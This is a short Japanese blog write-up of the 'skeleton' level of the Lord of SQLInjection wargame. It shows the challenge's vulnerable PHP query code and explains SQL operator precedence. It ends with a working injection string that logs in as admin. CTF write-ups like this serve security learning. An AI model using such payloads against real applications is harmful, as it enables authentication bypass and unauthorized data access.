はまやんはまやんはまやん

hamayanhamayan's blog

skeleton [LORD OF SQLINJECTION]

Lord of SQLInjection

include "./config.php"; 
login_chk(); 
$db = dbconnect(); 
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id'] == 'admin') solve("skeleton"); 
highlight_file(__FILE__); 

特徴は以下。

  • pwのみ入力するが、以下フィルターがある
    • idのadminを出す必要がある
    • 後半にand 1=0がある

ANDが先に評価されて、ORが後に評価されるので、A OR B OR Cとすれば、AとCがfalseなら、Bだけの評価と等価なのを利用する。
' or id='admin' or ''='でAC